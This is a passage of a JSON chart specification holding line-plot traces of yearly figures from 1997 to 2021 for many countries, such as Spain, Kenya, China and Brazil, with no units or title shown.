3588.07, - 3545.95, - 3825.21, - 4067.2, - 4108.17, - 3934.2, - 4570.13 - ] - }, - { - "mode": "lines", - "name": "SPAIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 441.98, - 499.34, - 547.95, - 666.25, - 677.21, - 810.49, - 1002.58, - 1389.37, - 1605.66, - 1878.66, - 2293.59, - 2538.15, - 2029.26, - 2565.29, - 2999.27, - 2865.75, - 2884.41, - 3148.12, - 3237.11, - 3424.99, - 3995.11, - 4182.49, - 3945.44, - 3238.52, - 3349.81 - ] - }, - { - "mode": "lines", - "name": "SRI LANKA DSR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 489.23, - 437.13, - 499.27, - 640.14, - 630.89, - 920.98, - 1319.2, - 1413.18, - 2024.67, - 2258.3, - 2830.43, - 2425.92, - 2188.01, - 3507.5, - 4378.79, - 3983.87, - 4534.35, - 6703.72, - 5310.75, - 3913.15, - 4476.46, - 4710.21, - 3800.91, - 3498.23, - 3653.42 - ] - }, - { - "mode": "lines", - "name": "ST KITT N A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.04, - 0.05, - 0.01, - 0, - 0.01, - 0.08, - 0.31, - 0.49, - 0.41, - 0.38, - 0.54, - 0.71, - 1.47, - 0.74, - 0.66, - 0.63, - 1.22, - 1.25, - 2.2, - 3.09, - 2.87, - 2.37, - 2.56, - 0.99, - 1.5 - ] - }, - { - "mode": "lines", - "name": "ST LUCIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.07, - 0.16, - 0.29, - 0.39, - 0.32, - 0.41, - 0.41, - 0.47, - 0.73, - 0.66, - 0.55, - 1.07, - 1.16, - 2.56, - 1.32, - 1.03, - 2.28, - 2.13, - 2.67, - 4.32, - 4.06, - 4.01, - 3.24, - 3.4, - 2.78 - ] - }, - { - "mode": "lines", - "name": "SUDAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 44.57, - 54.96, - 71.47, - 97.79, - 122.19, - 105.18, - 107.38, - 317.45, - 294.65, - 403.49, - 407.51, - 485.07, - 461.06, - 488.46, - 717.37, - 755.12, - 863.04, - 882.47, - 782.35, - 748.71, - 822.72, - 920.88, - 1096.88, - 1022.33, - 694.22 - ] - }, - { - "mode": "lines", - "name": "SURINAME", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.14, - 1.22, - 2.04, - 1.01, - 1.39, - 1.82, - 3.73, - 17.58, - 15.67, - 16.67, - 11.21, - 13.46, - 16.26, - 12.06, - 10.43, - 30.34, - 24.18, - 17.62, - 12.86, - 10.5, - 17.38, - 22.58, - 31.12, - 17.12, - 12.72 - ] - }, - { - "mode": "lines", - "name": "SWAZILAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.18, - 0.62, - 1.06, - 1.51, - 1.38, - 12.93, - 29.07, - 22.27, - 5.24, - 4.73, - 10.36, - 41.68, - 20.26, - 86.9, - 22.91, - 47.26, - 22.81, - 39.94, - 59.9, - 39.56, - 32.71, - 19.2, - 18.57, - 24.32, - 19.48 - ] - }, - { - "mode": "lines", - "name": "SWEDEN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 165.95, - 149.61, - 146.48, - 176.16, - 154.27, - 176.29, - 219.88, - 241.8, - 326.39, - 387.7, - 544.19, - 566.69, - 476.63, - 627.73, - 825, - 686.15, - 733.45, - 740.47, - 683.54, - 708.93, - 771.5, - 792.23, - 748.42, - 763.84, - 747.88 - ] - }, - { - "mode": "lines", - "name": "KENYA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 123.91, - 145.2, - 116.73, - 140.93, - 156.01, - 203.59, - 229.48, - 426.64, - 576.54, - 1309.22, - 1584.63, - 1362.1, - 1452, - 2182.01, - 2277.46, - 3770.34, - 3882.15, - 4117.93, - 3025.85, - 2194.29, - 1974.57, - 2071.84, - 2108.58, - 1895.84, - 1950.86 - ] - }, - { - "mode": "lines", - "name": "LITHUANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.41, - 3.61, - 9.7, - 8.69, - 6.41, - 10.09, - 17.92, - 30.6, - 33.45, - 40.61, - 59.18, - 60.26, - 66.39, - 83.3, - 134.89, - 147.43, - 104.94, - 103.23, - 88.09, - 95.99, - 103.84, - 127.38, - 110.76, - 163.66, - 202.34 - ] - }, - { - "mode": "lines", - "name": "JORDAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 69.24, - 68.77, - 62.76, - 79.5, - 80.9, - 101.81, - 150.99, - 128.25, - 184.97, - 178.98, - 358.33, - 431.83, - 245.62, - 485.36, - 821.08, - 1000.57, - 1595.89, - 1431.11, - 499.76, - 522.41, - 540.82, - 578.81, - 960.66, - 630.89, - 649.87 - ] - }, - { - "mode": "lines", - "name": "COLOMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 31.96, - 26.27, - 33.35, - 49.18, - 54.33, - 61.56, - 95.31, - 330.71, - 455.02, - 575.82, - 760.14, - 370.22, - 389.09, - 561.31, - 892.42, - 912.12, - 1007.51, - 1105.15, - 886.89, - 784.5, - 939.14, - 1116.85, - 1043.41, - 864.99, - 1010.13 - ] - }, - { - "mode": "lines", - "name": "BURKINA FASO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.21, - 4.71, - 4.39, - 6.74, - 9.87, - 16.12, - 23.74, - 21.1, - 19.93, - 14.98, - 32.4, - 48.29, - 36.46, - 45.85, - 85.05, - 86.1, - 103.21, - 112.76, - 108.79, - 114.94, - 148.35, - 181.44, - 153.94, - 207.87, - 144.14 - ] - }, - { - "mode": "lines", - "name": "BURUNDI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.78, - 1.21, - 1.49, - 3.03, - 2.53, - 4.53, - 5.49, - 7.24, - 10.73, - 7.96, - 8.05, - 14.06, - 12.64, - 16.12, - 24.12, - 32.67, - 30.76, - 31.44, - 29.06, - 35.98, - 38.09, - 48.35, - 58.47, - 64.02, - 47.47 - ] - }, - { - "mode": "lines", - "name": "C AFRI REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.37, - 0.58, - 0.28, - 0.86, - 0.75, - 2.94, - 0.69, - 0.87, - 1.39, - 2.4, - 1.3, - 2.42, - 5.2, - 3.52, - 6.28, - 8.45, - 7.73, - 7.76, - 9.18, - 10.29, - 29.92, - 26.8, - 55.63, - 23.71, - 13.02 - ] - }, - { - "mode": "lines", - "name": "CAMBODIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.95, - 5.71, - 7.85, - 7.86, - 11.29, - 19.84, - 18.6, - 18.13, - 24.19, - 52.07, - 53.5, - 46.9, - 45.54, - 66.94, - 99.45, - 112.28, - 141.31, - 142.53, - 143.01, - 105.06, - 121.41, - 195.98, - 188.12, - 168.86, - 133.88 - ] - }, - { - "mode": "lines", - "name": "CAMEROON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.19, - 9.1, - 6.14, - 9.82, - 13.62, - 21.12, - 23.26, - 26.7, - 34.71, - 83.19, - 72.53, - 92.46, - 77.22, - 121.18, - 196.39, - 250.98, - 259.66, - 249.13, - 190.99, - 148.79, - 193.94, - 178.25, - 228.45, - 279.07, - 298.84 - ] - }, - { - "mode": "lines", - "name": "CANADA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 427.82, - 473.01, - 578.27, - 656.47, - 584.82, - 698.27, - 763.19, - 866.8, - 1021.58, - 1109.86, - 1266.64, - 1364.41, - 1122.77, - 1348.82, - 2053.54, - 2036.58, - 2037.01, - 2196, - 2018.42, - 2004.12, - 2506.15, - 2851.42, - 2851.79, - 2960.77, - 2683.95 - ] - }, - { - "mode": "lines", - "name": "CAPE VERDE IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.08, - 0.02, - 0.02, - 0.11, - 0.11, - 0.05, - 0.6, - 0.15, - 0.21, - 0.42, - 0.39, - 0.7, - 0.5, - 0.47, - 0.95, - 1.43, - 4.12, - 1.43, - 1.25, - 1.48, - 1.6, - 2.17, - 3.31, - 3.05 - ] - }, - { - "mode": "lines", - "name": "CAYMAN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 21.25, - 0.17, - 0.1, - 0.12, - 0.41, - 3.85, - 0.48, - 0.67, - 0.39, - 0.32, - 0.63, - 0.57, - 0.79, - 0.29, - 0.98, - 0.39, - 3.15, - 6.75, - 3.54, - 4.74, - 4.02, - 4.37, - 6.58, - 4.32, - 5.15 - ] - }, - { - "mode": "lines", - "name": "CHAD", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.59, - 3.14, - 5.77, - 2.05, - 4.2, - 1.13, - 2.63, - 3.52, - 4.21, - 28.3, - 13.01, - 16.43, - 6.92, - 12, - 38.91, - 46.42, - 33.02, - 40.69, - 43.49, - 38.52, - 27.29, - 37.46, - 58.69, - 59.23, - 36.91 - ] - }, - { - "mode": "lines", - "name": "CHILE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 120.56, - 68.06, - 68.61, - 108.45, - 83.25, - 72.13, - 83.02, - 111.2, - 152.15, - 377.22, - 250.21, - 393.47, - 277.32, - 507.55, - 522.08, - 690, - 663.94, - 565.82, - 679.32, - 674.34, - 763.56, - 989.8, - 793.43, - 805, - 885.01 - ] - }, - { - "mode": "lines", - "name": "CHINA P RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 717.95, - 427.16, - 539.04, - 831.3, - 951.95, - 1975.48, - 2955.08, - 5615.88, - 6759.1, - 8321.86, - 10871.34, - 9353.5, - 11617.88, - 14168.86, - 18076.55, - 13534.88, - 14824.36, - 11934.25, - 9011.36, - 10171.89, - 13333.53, - 16752.2, - 16612.75, - 21187.15, - 17122.55 - ] - }, - { - "mode": "lines", - "name": "COMOROS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.96, - 1.49, - 1.4, - 1.15, - 2.36, - 6.39, - 1.95, - 2.44, - 5.1, - 15.75, - 9.76, - 25.54, - 9.29, - 8.61, - 10.98, - 20.74, - 13.7, - 17.76, - 17.01, - 20.78, - 29.62, - 19.29, - 18.88, - 18.26, - 15.71 - ] - }, - { - "mode": "lines", - "name": "EGYPT A RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 253.4, - 270.34, - 236.7, - 357.48, - 462.73, - 298.24, - 367.48, - 444.73, - 672.43, - 763.08, - 1398.83, - 1699.86, - 1403.88, - 1982.43, - 2421.89, - 2897.33, - 2562.16, - 3025.59, - 2337.68, - 2067.35, - 2392.34, - 2886.39, - 2504.23, - 2264.37, - 2609.32 - ] - }, - { - "mode": "lines", - "name": "CONGO D. REP.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 22.19, - 7.13, - 4.95, - 4.45, - 3.63, - 4.31, - 11.15, - 2.82, - 2.03, - 1.2, - 4.19, - 15.26, - 10.12, - 6.68, - 6.88, - 147.29, - 181.45, - 254.16, - 317.63, - 199.19, - 225.07, - 302.94, - 352.77, - 430.33, - 416.3 - ] - }, - { - "mode": "lines", - "name": "CONGO P REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 14.35, - 22.26, - 22.35, - 39.41, - 38.45, - 53.37, - 61.27, - 93.26, - 111.62, - 136.27, - 151.41, - 209.81, - 196.2, - 241.88, - 347.4, - 199.12, - 210.32, - 252.89, - 166.66, - 135.82, - 116.69, - 132.88, - 112.91, - 109.84, - 112.01 - ] - }, - { - "mode": "lines", - "name": "COSTA RICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.79, - 1.83, - 2.64, - 6.85, - 7.87, - 10.54, - 20.52, - 16.48, - 16.06, - 20.52, - 31.69, - 34.17, - 32.23, - 61.47, - 65.53, - 74.28, - 81.09, - 95.84, - 134.76, - 159.31, - 133.57, - 136.15, - 126.63, - 113.88, - 112.82 - ] - }, - { - "mode": "lines", - "name": "COTE D' IVOIRE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.25, - 66.09, - 34.49, - 45.92, - 52.73, - 48.93, - 98.11, - 101.03, - 106.14, - 141.73, - 257.98, - 94.78, - 122.33, - 94.15, - 282.53, - 395.97, - 298.95, - 309.75, - 397.27, - 418.66, - 511.75, - 448.64, - 414.67, - 585.96, - 542.58 - ] - }, - { - "mode": "lines", - "name": "CUBA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.62, - 3.34, - 2.94, - 4.82, - 5.92, - 4.81, - 4.95, - 7.44, - 11.91, - 27.03, - 19.15, - 37.17, - 22.77, - 25.51, - 36.67, - 35.82, - 35.53, - 37.32, - 54.31, - 41.79, - 41.8, - 35, - 47.51, - 20.33, - 23.18 - ] - }, - { - "mode": "lines", - "name": "CYPRUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 32.28, - 24.65, - 35.55, - 31.47, - 28.43, - 23.47, - 28.2, - 29.38, - 32.41, - 33.39, - 47.91, - 250.01, - 46.82, - 43.31, - 56.62, - 54.99, - 61.57, - 51.11, - 59.8, - 71.77, - 99.91, - 70.65, - 443.28, - 90.11, - 57.19 - ] - }, - { - "mode": "lines", - "name": "CZECH REPUBLIC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 25.41, - 34.3, - 33.79, - 38.39, - 41.08, - 57.42, - 88.02, - 88, - 96.87, - 102.66, - 180.28, - 183.3, - 177.76, - 215.77, - 271.85, - 251.4, - 387.08, - 378.56, - 488.59, - 533.14, - 405.36, - 429.13, - 496.35, - 485.48, - 439.51 - ] - }, - { - "mode": "lines", - "name": "DENMARK", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 158.73, - 186.54, - 211.12, - 174.38, - 151.86, - 183.67, - 241.89, - 305.74, - 410.28, - 458.06, - 496.57, - 583.66, - 580.42, - 690.74, - 757.51, - 707.29, - 761.79, - 724.24, - 688.79, - 692.94, - 784.1, - 746.59, - 733.96, - 755.25, - 680.2 - ] - }, - { - "mode": "lines", - "name": "DJIBOUTI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 8.82, - 13.28, - 10.98, - 20.97, - 16.22, - 37.42, - 73.67, - 128.63, - 230.36, - 307.62, - 460.66, - 359.96, - 265.84, - 319.87, - 475.34, - 411.86, - 307.04, - 237.96, - 204.55, - 280.41, - 376.46, - 790.66, - 316.01, - 347.06, - 549.77 - ] - }, - { - "mode": "lines", - "name": "DOMINIC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.53, - 5.37, - 11.26, - 11.39, - 12.86, - 16.18, - 12.22, - 22.04, - 31.79, - 36.94, - 42.56, - 51.59, - 55.2, - 82.75, - 103.43, - 108.86, - 125.7, - 140.91, - 175.01, - 224.98, - 196.92, - 215.81, - 213.32, - 209.06, - 233.27 - ] - }, - { - "mode": "lines", - "name": "DOMINICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.11, - 2.64, - 2.42, - 4.67, - 2.12, - 2.05, - 2.19, - 2.03, - 2.62, - 2.83, - 2.95, - 2.7, - 2.96, - 2.47, - 2.82, - 2.4, - 2.41, - 2.53, - 1.46, - 2.46, - 2.1, - 1.3, - 2.17, - 1.87, - 2.12 - ] - }, - { - "mode": "lines", - "name": "BULGARIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 9.04, - 9.25, - 7.35, - 11.54, - 7.68, - 11.12, - 25.22, - 24.76, - 24.07, - 40.38, - 71.12, - 73.69, - 50.89, - 69.71, - 108.77, - 156.98, - 168.1, - 266.45, - 145.53, - 239.53, - 173.24, - 212.43, - 158.9, - 170.35, - 169.82 - ] - }, - { - "mode": "lines", - "name": "BRUNEI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.26, - 3.26, - 1.3, - 3.31, - 2.86, - 4.45, - 4.59, - 5.06, - 42.94, - 8.31, - 10.43, - 17.64, - 24.44, - 23.07, - 895.49, - 40.02, - 32.45, - 41.99, - 28.45, - 42.88, - 63.19, - 56.19, - 57.62, - 62.91, - 29.34 - ] - }, - { - "mode": "lines", - "name": "BRAZIL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 143.36, - 133.29, - 135.02, - 226.05, - 219.01, - 479.03, - 275.62, - 678.17, - 1090.61, - 1449.25, - 2525.9, - 2651.43, - 2414.29, - 4024.16, - 5769.75, - 6048.53, - 5552.47, - 5963.82, - 2650.34, - 2400.46, - 3063.49, - 3800.49, - 3967.39, - 4244.94, - 4798.9 - ] - }, - { - "mode": "lines", - "name": "BR VIRGN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.12, - 0.46, - 0.29, - 0.37, - 0.19, - 2.02, - 0.34, - 0.11, - 0.67, - 0.89, - 0.43, - 34.78, - 81.58, - 0.42, - 1.04, - 0.55, - 0.39, - 0.66, - 0.84, - 0.41, - 0.76, - 10.69, - 0.49, - 0.25, - 0.29 - ] - }, - { - "mode": "lines", - "name": "ALGERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 17.06, - 24.6, - 14.36, - 21.04, - 29.43, - 66.78, - 122.15, - 231.22, - 271.39, - 335.04, - 377.17, - 653.08, - 574.19, - 781.94, - 835.65, - 1088.73, - 1069.53, - 1063.73, - 787.81, - 841.89, - 823.23, - 940.27, - 611.02, - 594.74, - 525.67 - ] - }, - { - "mode": "lines", - "name": "AMERI SAMOA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.06, - 0.2, - 0.59, - 0.71, - 0.19, - 0.31, - 0.26, - 1.27, - 0.29, - 0.28, - 0.2, - 0.13, - 0.08, - 0.2, - 2.05, - 0.37, - 0.05, - 0.19, - 0.16, - 0.08, - 0.31, - 0.03, - 0.13, - 0.58, - 0.62 - ] - }, - { - "mode": "lines", - "name": "ANDORRA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.03, - 0.02, - 0.09, - 0.27, - 0.21, - 0.06, - 0.18, - 0.09, - 0.13, - 0.13, - 0.89, - 0.2, - 0.27, - 0.25, - 0.11, - 0.12, - 0.26, - 0.12, - 0.14, - 4.75, - 0.33, - 0.08, - 0.02, - 0.05 - ] - }, - { - "mode": "lines", - "name": "ANGOLA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 11.58, - 8.76, - 5.84, - 15.15, - 25.02, - 37.31, - 70.55, - 72.89, - 151.66, - 201.89, - 261.47, - 370.45, - 635.07, - 675.44, - 454.33, - 488.79, - 536.03, - 552.64, - 223.19, - 154.63, - 234.92, - 282.36, - 285.1, - 259.6, - 326.89 - ] - }, - { - "mode": "lines", - "name": "ANTIGUA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.52, - 0.05, - 0.29, - 0.18, - 0.12, - 0.25, - 4.55, - 1.05, - 1.13, - 1.4, - 1.87, - 2.98, - 1.45, - 0.94, - 0.87, - 1.36, - 2.19, - 2.07, - 2.56, - 1.97, - 2.17, - 2.71, - 2.19, - 1.62, - 1.71 - ] - }, - { - "mode": "lines", - "name": "ARGENTINA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 